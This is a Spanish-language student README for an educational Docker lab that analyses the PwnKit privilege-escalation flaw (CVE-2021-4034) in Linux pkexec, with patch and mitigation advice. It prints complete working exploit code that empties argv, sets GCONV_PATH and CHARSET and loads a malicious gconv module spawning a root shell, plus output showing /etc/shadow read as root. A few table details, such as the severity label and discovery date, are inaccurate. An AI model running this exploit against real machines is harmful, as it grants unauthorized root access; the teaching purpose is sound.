
Whitehat School 4.ª promoción: análisis de CVE-2021-4034 y redacción de POC
🔗 Proyecto original: berdav/CVE-2021-4034
Este proyecto es una versión analizada y modificada del original con fines educativos.
Cumplimiento de la licencia MIT | Tarea educativa de White Hat School
CVE-2021-4034 es una vulnerabilidad de escalada de privilegios local en policykit-1 (PolicyKit) de Linux. Un usuario normal puede ejecutar pkexec sin argumentos para aprovechar una falla en la estructura de la memoria del proceso y, a través de ella, hacer que glib vuelva a referenciar cadenas de variables de entorno que deberían haber sido filtradas, logrando cargar un archivo .so malicioso y obtener privilegios de root.
⚠️ Solo con fines educativos: este código debe utilizarse únicamente en sistemas modificados.
Su uso para atacar sistemas reales puede acarrear responsabilidad legal.
Es fácil malinterpretarlo como un problema exclusivo de Ubuntu, pero como se trata de un defecto de lógica del propio pkexec, la mayoría de las distribuciones que usan polkit se ven afectadas. Como el entorno de prueba con Docker es Ubuntu 20.04, esa versión se incluyó en la tabla anterior.
Al principio del análisis pensé que era un problema "causado por no validar las variables de entorno", pero al revisar juntos el código fuente y el commit del parche me di cuenta de que el orden es un poco diferente. La causa real es otra, y el problema de las variables de entorno es más bien la consecuencia que se deriva de esa causa. A continuación se resume el flujo en orden de causa y efecto.
pkexec es un programa SUID-root que solicita elevación de privilegios a través de PolicyKit.
# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service
Lo usa un usuario normal cuando necesita realizar determinadas tareas con privilegios de administrador.
argc == 0La función main() de pkexec, en la parte que procesa los argumentos de la línea de comandos, no valida el caso en que se ejecuta sin ningún argumento (argc == 0). Este es el verdadero punto de partida de la vulnerabilidad.
argv = {"pkexec", "comando", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0Cuando argc es 0, en la lista argv solo queda un NULL que indica el final. Sin embargo, la lógica interna de pkexec intenta leer y escribir en el inexistente argv[1] incluso en esta situación. El problema es que, cuando Linux ejecuta un proceso, coloca el arreglo argv y el arreglo envp (variables de entorno) uno justo al lado del otro en memoria. Por eso, el argv[1] fuera de límites en realidad apunta directamente a envp[0], es decir, a la primera variable de entorno.
정상 상황: argv = [ "pkexec" | NULL ]
공격 상황: argv = [ NULL ] ← argc = 0
↑
존재하지 않는 argv[1]에 접근
↓
메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)
¿Por qué es peligroso?
GCONV_PATH, LD_PRELOAD antes de que se ejecute el programa SUID (pkexec), al considerarlas inseguras.argc < 1. (Corresponde a CWE-125 lectura fuera de límites y CWE-787 escritura fuera de límites)📌 En resumen: la falta de validación de variables de entorno es "la condición que permite el ataque", y la vulnerabilidad real (causa raíz) es que pkexec no maneja el caso argc == 0. El punto 3 a continuación es la consecuencia derivada de esta causa.
Gracias al comportamiento OOB descrito en el punto 2, esta cadena se vuelve a utilizar sin validación durante el proceso de inicialización de glib por parte de pkexec.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 원래는 ld.so가 걸러냈어야 함
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
};
execve("/usr/bin/pkexec", args, env); // argv는 비워서 argc=0을 만듦
El problema:
Lo importante aquí es que glib no tiene la culpa. Que glib busque el converter en esa ruta cuando GCONV_PATH está configurada es su funcionamiento normal. El problema es que pkexec ya ha roto el estado de ejecución segura (el estado en el que se eliminan las variables de entorno peligrosas) — glib simplemente actuó con normalidad, y es precisamente ese comportamiento normal el que se explota.
Comprobación de la variable de entorno CHARSET
CHARSET=PWNKIT
Búsqueda de la definición del converter en el archivo gconv-modules
module UTF-8// PWNKIT// pwnkit 1
Carga del archivo .so desde GCONV_PATH
GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
Ejecución automática de la función de inicialización del archivo .so
// pwnkit.c - .so 파일 로드 시 자동으로 실행됨
void gconv_init(void *step)
{
setuid(0); // root 권한 획득
setgid(0);
execve("/bin/sh"); // root shell 실행!
}
Es fácil llamar a gconv_init una "función constructora", pero estrictamente no es lo mismo que __attribute__((constructor)) de C. En concreto, es la función de inicialización definida en la interfaz del módulo gconv, y glib la invoca explícitamente tras cargar el .so con dlopen.
┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. argv 비우고 pkexec 실행 (argc=0)
│ + 악의적 환경변수 설정
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec 실행 │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
│
│ 2. glib이 정상 동작대로 처리
│ CHARSET=PWNKIT 인코딩 검색
│ GCONV_PATH=.에서 converter 찾음
↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드 │
│ (현재 디렉토리의 악의적 .so 파일) │
└─────────────────────────────────────┘
│
│ 3. gconv 초기화 함수 자동 실행 (root 권한!)
↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. 최신 버전 확인
git pull origin main
# 3. 빌드 (캐시 없이)
docker compose build --no-cache
# 4. 실행
docker compose up
Se recomienda usar docker system prune -a --volumes --force solo cuando el método anterior no funcione porque la caché o los volúmenes estén corruptos. Es un comando bastante agresivo que borra toda la caché de Docker del sistema, por lo que también puede eliminar la caché de otros proyectos. El detalle está documentado en la sección "Problemas encontrados y soluciones" de más abajo.
pwnkit | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← 성공! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose 설정
├── Dockerfile # 취약 Ubuntu 20.04 환경
├── start.sh # 컨테이너 초기화 및 자동 실행
├── Makefile # 빌드 설정
├── CVE-2021-4034_exploit.c # Exploit 코드 (pkexec 호출)
├── pwnkit.c # 악의적 .so 파일 (권한 상승)
├── gconv-modules # glib converter 매핑
├── README.md # 이 파일
└── LICENSE # MIT License
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec에 실행할 프로그램을 지정하지 않음
// (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
char * const args[] = {
NULL
};
// 🔴 검증되지 않은 악의적 환경변수
// argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
char * const env[] = {
"GCONV_PATH=.", // converter 경로 (현재 디렉토리)
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec 실행 (인자 없이 → argc=0 트리거)
execve("/usr/bin/pkexec", args, env);
return 0;
}
Clave:
pkexec en args, se consigue que argc sea 0 → se dispara la causa raíz (falta de validación de argc)GCONV_PATH=. : una vez que es referenciable de nuevo gracias al OOB, glib busca el converter en esa rutaCHARSET=PWNKIT : induce a glib a buscar el converter para esa codificación#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}
// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root shell 실행
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root 권한 명시적 설정 (이미 root이지만)
setuid(0);
setgid(0);
// root shell 실행 ← 권한 상승 성공!
execve(args[0], args, env);
exit(0);
}
Clave:
gconv_init() no es un atributo de constructor de C, sino una función de inicialización que glib invoca directamente después de dlopen, según la especificación de la interfaz del módulo gconvsetuid(0), se obtiene directamente un shell de root$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Esa captura corresponde en realidad al momento en que el exploit tuvo éxito por primera vez; en la imagen se muestran los privilegios del usuario.
$ ./CVE-2021-4034_exploit
Nota: el exploit en sí no necesita sudo. Como pkexec ya es un binario SUID-root, obtener un shell root únicamente con privilegios de usuario normal es el núcleo de esta vulnerabilidad. En el entorno de prueba con Docker se usó
sudo -Een alguna ocasión, pero era solo por conveniencia de ejecución para comprobar la configuración NOPASSWD y no tiene relación con la vulnerabilidad en sí.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (root만 볼 수 있는 내용)

En la imagen se puede ver que se obtienen privilegios de root después del ataque real.
Si quieres ver de forma más general el antes y el después del ataque, se recomienda mirar la imagen de la sección ### Privilegios reales antes del ataque de arriba.
✅ ¡Escalada de privilegios exitosa!
Reproducción exitosa en un entorno Docker basado en Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). Como aún no se han realizado muchas pruebas repetidas, se planea ejecutar varias veces más variando las versiones del kernel y de la distribución para ir completando los resultados.
# 1. 패치 업그레이드 (권장)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# 버전 확인
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 이상이어야 함
# /etc/sudoers 수정 (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
El parche es la solución de fondo; las dos medidas anteriores son más bien paliativos que se pueden usar hasta que se aplique el parche. La validación de argc es un problema que solo se resuelve corrigiendo el código de pkexec, por lo que bloquear únicamente las variables de entorno no lo impide por completo.
docker-composeCausa: en Ubuntu 24.04 no existe docker-compose (v1), solo docker compose (v2)
Solución:
# docker compose 명령어 사용 (v2)
docker compose up
Causa: la configuración NOPASSWD del Dockerfile no se está aplicando correctamente (problema de caché de Docker)
Solución:
docker compose build --no-cache
docker compose up
Si aún así no funciona, borra completamente la caché e inténtalo de nuevo.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
Causa: los archivos locales se mantienen en una versión anterior
Solución:
# GitHub에서 최신 버전 받기
git pull origin main
# 파일 확인
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# 다시 빌드
docker compose up --build --no-cache
Causa: queda un contenedor anterior existente
Solución:
# 컨테이너 제거
docker compose down
docker rm pwnkit -f
# 다시 실행
docker compose up
Causa: los permisos de los archivos creados en Docker son de root
Solución:
# WSL/Linux에서
sudo rm -rf WHS4_CVE-2021-4034
Autor: krleejihyeong
Partes creadas/modificadas:
Este proyecto se rige por la licencia MIT.
Copyright (c) 2026 krleejihyeong (수정 및 분석)
Copyright (c) 2021 berdav (원본 PoC)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Consulta el archivo LICENSE para más detalles.
Este proyecto ha sido creado exclusivamente con fines educativos.
El acceso no autorizado a sistemas informáticos puede ser sancionado legalmente.
Última actualización: julio de 2026
| Elemento | Contenido |
|---|
| CVE ID | CVE-2021-4034 |
| Nombre de la vulnerabilidad | PwnKit |
| Versiones afectadas | Versiones de polkit sin el parche anterior a 0.105 (según el entorno de prueba: policykit-1 0.105-26ubuntu1 de Ubuntu 20.04) |
| Tipo de vulnerabilidad | Local Privilege Escalation (LPE) |
| Severidad | Critical (CVSS 7.8) |
| Versión parcheada | policykit-1 >= 0.105-26ubuntu1.1 |
| Fecha de descubrimiento | Junio de 2021 (publicada en enero de 2022) |